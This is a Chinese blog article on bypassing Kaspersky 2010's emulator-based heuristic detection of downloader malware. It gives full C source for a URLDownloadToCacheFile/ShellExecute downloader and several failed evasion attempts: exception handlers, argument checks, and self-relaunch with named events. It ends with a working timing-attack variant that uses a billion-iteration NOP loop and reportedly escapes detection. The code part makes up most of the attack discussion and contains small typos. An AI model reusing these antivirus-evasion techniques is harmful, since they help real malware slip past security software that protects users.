卡巴虚拟机启发式查毒的绕过方法

By dangdang

据我了解在卡巴 7 中就有虚拟启发式查毒的功能。国内就有人在 BLOG 上发表了一篇如何突破卡巴 7 的虚拟机
启发式查毒的文章[1]。卡巴 8 和最新的卡巴 2010 中仍然具有该功能。卡巴斯基不用我多说了，大家都知道。
我最近在网上查到有人说卡巴斯基是俄罗斯国家科学院合作开发的，军方和克里姆林宫专用。这个我还真的
不清楚了，请原谅我的无知。我先来说下什么是虚拟机启发式杀毒。

我认为在这里的虚拟机启发式杀毒应该可以理解为在虚拟机中执行和启发式杀毒。虚拟机即构造一个虚拟
执行环境或者说一个仿真的环境，将病毒等恶意代码在该仿真的环境中运行实现自己脱壳等等。该仿真的环境
和用户计算机的真实环境是隔离的。

举个例子：现在的恶意代码都采用加壳为自己提供保护，尤其是一些已知病毒的变种。当采用虚拟机执行技术
加壳保护的恶意代码仍能被杀毒软件检测到，有能力的读者可以自己实验一下。

启发式指的是自我发现并推断或判定事物的方式。启发式杀毒通过分析程序指令的序列或者 API 函数的调用
顺序以及其他恶意代码与正常程序的不同等经验和知识的组合来判定是否是恶意代码。这样的启发式杀毒具备
某种人工智能特点。它的优点不用我多说废话，举个例子：Downloader 相信大家都知道，最重要的两个 API 是
URLDownloadToFile 和 ShellExecute(也可以是其他执行一个程序的 API)。例如，在使用虚拟机启发式杀毒时，
当被查毒程序的 API 调用序列中出现 URLDownloadToFile 或者 ShellExecute，又或者不是按照先 URLDownloadToFile 后
ShellExecute 的调用顺序是不会被报 Downloader 的。

可以说由于主动防御技术的种种缺点，现在各杀毒软件厂商已经将虚拟机杀毒和启发式杀毒作为杀毒业界的
追求和探索的目标。可以预见到在未来几年内杀毒软件将不再会出现当正常使用系统和软件时频繁弹出主动
防御窗口的尴尬。

接下来将通过上面提到的 Downloader 例子分析下卡巴的虚拟机启发式查毒的特点，并在最后给出一种可能的
绕过方法和演示代码，供各位看官赏玩。

我假设您已经知道什么是 Downloader，一个最简单的 Downloader 是：

```
#include "stdafx.h"
#include <urlmon.h>
#include <Shellapi.h>
#pragma comment (lib,"Urlmon.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,
                       HINSTANCE hPrevInstance,
                       LPTSTR    lpCmdLine,
                       int       nCmdShow)
{
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",s
zFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
        return 0;
}
```

这个程序是使用 Visual Studio 2008 创建的 Win32 窗口工程。编译后卡巴 2010 直接报 Downloader。首先使用了
之前提到的 xyzreg 提到的方法，现在在卡巴 2010 下已经不适用，简单的测试了一下卡巴 2010 会把自己模拟成
explorer.exe。所以检查父进程是否是 explorer.exe 的方法不行了，但是如果检查自己的父进程是否是 cmd.exe
就可以了。当然这个实用性并不强，因为要求 Downloader 必须由 cmd.exe 启动。

我觉得应该有其他的方法可以逃过虚拟查毒，但是这里只从虚拟查毒本身入手。首先想到的是这个虚拟机和
真实环境是否有区别？这个回答当然是肯定的。但是这些区别在哪里，这些区别是否会影响到。是否存在一种
情况虚拟机无法虚拟而导致虚拟环境下无法执行到 URLDownloadToCacheFile 和 ShellExecute 那就不会检查到是
Downloader 了。这个思想很简单，然后要怎么实现呢。

首先想到虚拟机是否虚拟了异常处理，如果没有虚拟异常处理，那我们认为的制造一个异常，将具有
Downloader 特性的 API 调要放到异常处理程序中不就绕过了吗。于是有了下面的代码

```
BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
    __try
```

```
    {
            *pResult = dividend / divisor;
    }
    __except(GetExceptionCode() ==
EXCEPTION_INT_DIVIDE_BY_ZERO ?
            EXCEPTION_EXECUTE_HANDLER :
EXCEPTION_CONTINUE_SEARCH)
    {
            TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",s
zFileName,MAX_PATH,0,NULL);

        ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
            return TRUE;
    }
    return TRUE;
}
```

在 Downloader 的程序入口以参数 divisor 为 0 调用这个 SafeDiv 函数，。这样就会产生一个除 0 的错误。结果是
卡巴报 Downloader！看样子卡巴有对异常处理虚拟的能力。

恩。。。如果我在代码中添加 int 3 中断会发生什么情况呢？应该也虚拟了。现在就来试试，果然在 Downloader
入口添加 int 3 后当然是查不出来了，呵呵，程序也运行不了了。接下来就看看能不能找到方法让程序在真实
情况下能运行在，虚拟机下停住了。没有多久想了一个替代的方法，判断程序的输入参数。通过检查程序的
输入参数来控制程序的执行流程。简单的在 Downloader 入口添加判断程序参数的代码：

```
if(strcmp(argv[1],"1")!== 0)
            return;
```

程序运行时输入参数“1”程序执行 Downloader 的功能，在虚拟机中执行时没有参数输入所以程序返回，
检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的，所以我想到使用 CreateProcess 来启动 Downloader
自己的另一个实例。代码如下：

部分变量声明和初始化代码省略。。。

```
INT32 divisor = 1;
```

```
	if(argc == 1)
	{
		TCHAR szPath[MAX_PATH];
		GetModuleFileName(NULL,szPath,MAX_PATH);
		CreateProcess(szPath,L"1
2",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
		ExitProcess(0);
		return;
	}

	if(strcmp(argv[1],"2") == 0)
		divisor = 0;
	SafeDiv(10,divisor,&Result);
ExitProcess(0);
	return;
}
```

编译成功后，使用卡巴 2010 查毒。报 Downloader！失望啊！

将对函数参数检查的方式换成使用“命名对象”的方式：

```
//定义一个“命名对象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( π, sizeof(pi) );
	TCHAR szPath[MAX_PATH];
	GetModuleFileName(NULL,szPath,MAX_PATH);

	CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,
π);
	return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileNa
me,MAX_PATH,0,NULL);
```

```
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
```

报 Downloader！失望！

看样子卡巴的虚拟机对 API 的模拟和程序执行的流程虚拟很到位！不知道对时间的虚拟的怎么样？代码中有
Sleep(10000000)的语句会不会影响虚拟查毒的时间呢？根据我的实验在其中加入 Sleep 函数睡眠很长的一段
时间并没有影响虚拟杀毒查出 Downloader 的时间，所以估计对时间的虚拟可能不好。将上面的代码中在
CreateProcess 调用之后调用 Sleep 睡眠一段较长的时间如 5 秒，然后调用 CloseHandle 关闭“命名事件”。
如果卡巴遇到 Sleep 函数简单的跳过，则在虚拟机中执行的顺序将是先执行 Sleep 后的 CloseHandle 关闭事件，
然后再进入到新实例中创建“命名事件”，在这种情况下就能创建成功，所以程序的执行流程不会进入到
URLDownloadToCacheFile 处，以此绕过检测。但是实际情况时仍然被报 Downloader，说明卡巴 2010 对 Sleep 等
时间相关的函数虚拟的也很好。

到这里停下来想想，我们已经掌握了卡巴虚拟机执行的许多特性了，最理想的方案是在上述方法中进行改进，
能达到对卡巴虚拟机执行的时间方面的攻击。于是想到使用大量无意义的代码块来模拟 Sleep 函数的功能，
原因是对于大量循环的无意义操作卡巴是否完全虚拟其执行，我想应该是没有的。于是代码变为：

```
#include "stdafx.h"
#include <urlmon.h>
#include <Shellapi.h>
#include <intrin.h>
#pragma comment (lib,"Urlmon.lib")


// Global Variables:
HINSTANCE hInst;       // current instance


// Forward declarations of functions included in this code module:


int APIENTRY _tWinMain(HINSTANCE hInstance,
```

```
                        HINSTANCE hPrevInstance,
                        LPTSTR    lpCmdLine,
                        int       nCmdShow)
{
        TCHAR szMutex[] = L"1111";
        HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
        int tmp = GetLastError();
        if(tmp == 0)
        {
                STARTUPINFO si;
                PROCESS_INFORMATION pi;

                ZeroMemory( &si, sizeof(si) );
                si.cb = sizeof(si);
                ZeroMemory( π, sizeof(pi) );
                TCHAR szPath[MAX_PATH];
                GetModuleFileName(NULL,szPath,MAX_PATH);


        CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,
π);
                for(int i = 0;i < 1000000000; i++)
                        __nop();
                CloseHandle(hEvnet);
                return 0;
        }
        TCHAR szFileName[MAX_PATH] = {0};
        URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",s
zFileName,MAX_PATH,0,NULL);
        ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
        return 0;
}
```

编译。对该文件执行查毒，没有检测到威胁。成功了。

总的说来，卡巴的虚拟机没有真正的像真实环境一样对像

```
for(int i = 0;i < 1000000000; i++)
                        __nop();
```

这样的语句块进行真正的执行，导致虚拟机的时间和真实环境下的时间不一致导致在虚拟机中和真实环境下
的执行流程的不一样。这样就实现了对卡巴虚拟查毒的绕过。

总的说来，卡巴斯基是一个很强大的杀毒软件，杀毒能力确实也比较强，但是也不应该过分相信卡巴。有人
说的好，要让人正确认识卡巴斯基这个优秀的杀毒软件。

另外，本文的基于超时的攻击思路和这篇 2 年前的文章[2]颇有一番异曲同工之妙，而”Timing Attack”在
Google Scholar 上的搜索结果有 1,110,000[3]条！希望通过本文，能够让各位看官重新认识 Timing Attack 的
奇妙之处。

最后，严重的感谢一下 c4pr1c3 的帮助和关怀。

相关文献：

[1] http://www.xyzreg.net/blog/read.php?39&page=5
[2] http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf
[3] http://scholar.google.com/scholar?q=timing+attack&hl=en&btnG=Search